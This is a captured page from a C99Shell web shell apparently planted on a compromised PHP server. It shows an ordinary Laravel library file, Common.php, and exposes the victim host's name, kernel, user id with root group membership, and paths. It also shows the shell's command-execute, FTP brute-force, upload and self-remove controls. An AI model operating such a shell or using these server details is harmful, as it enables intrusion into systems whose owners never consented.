!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/mavinoo/laravel-batch/src/Common/   drwxr-xr-x
Free 28.8 GB of 117.98 GB (24.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Common.php (2.32 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);

namespace 
Mavinoo\Batch\Common;

class 
Common
{
    
/**
     * Escape values according to mysql.
     *
     * @param $fieldValue
     * @return array|string|string[]
     */
    
public static function mysql_escape($fieldValue)
    {
        if (
is_array($fieldValue)) {
            return 
array_map(__METHOD__$fieldValue);
        }

        if (
is_bool($fieldValue)) {
            return (int)
$fieldValue;
        }

        if (
self::is_json($fieldValue)) {
            return 
self::safeJson($fieldValue);
        }

        if (!empty(
$fieldValue) && is_string($fieldValue)) {
            return 
str_replace(
                [
'\\'"\0""\n""\r""'"'"'"\x1a"],
                [
'\\\\''\\0''\\n''\\r'"\\'"'\\"''\\Z'],
                
$fieldValue
            
);
        }

        return 
$fieldValue;
    }

    
/**
     * Disable Backtick.
     *
     * @param $drive
     * @return boolean
     */
    
public static function disableBacktick($drive)
    {
        return 
in_array($drive, ['pgsql''sqlsrv']);
    }

    protected static function 
safeJsonString($fieldValue)
    {
        return 
str_replace(
            [
"'"],
            [
"''"],
            
$fieldValue
        
);
    }

    protected static function 
is_json($str): bool
    
{
        if (!
is_string($str)  || is_numeric($str)) {
            return 
false;
        }
        
$json json_decode($str);
        return 
$json && $str != $json;
    }

    protected static function 
safeJson($jsonData$asArray false)
    {
        if (
$jsonData === '{}') {
            return 
$asArray ? [] : '{}';
        }

        
$jsonData json_decode($jsonDatatrue);

        if (!
is_array($jsonData)) {
            return 
$jsonData;
        }

        
$safeJsonData = [];

        foreach (
$jsonData as $key => $value) {
            if (
self::is_json($value)) {
                
$safeJsonData[$key] = self::safeJson($valuetrue);
            } elseif (
is_string($value)) {
                
$safeJsonData[$key] = self::safeJsonString($value);
            } elseif (
is_array($value)) {
                
$safeJsonData[$key] = self::safeJson(json_encode($value), true);
            } else {
                
$safeJsonData[$key] = $value;
            }
        }

        return 
$asArray $safeJsonData json_encode($safeJsonDataJSON_UNESCAPED_UNICODE);
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--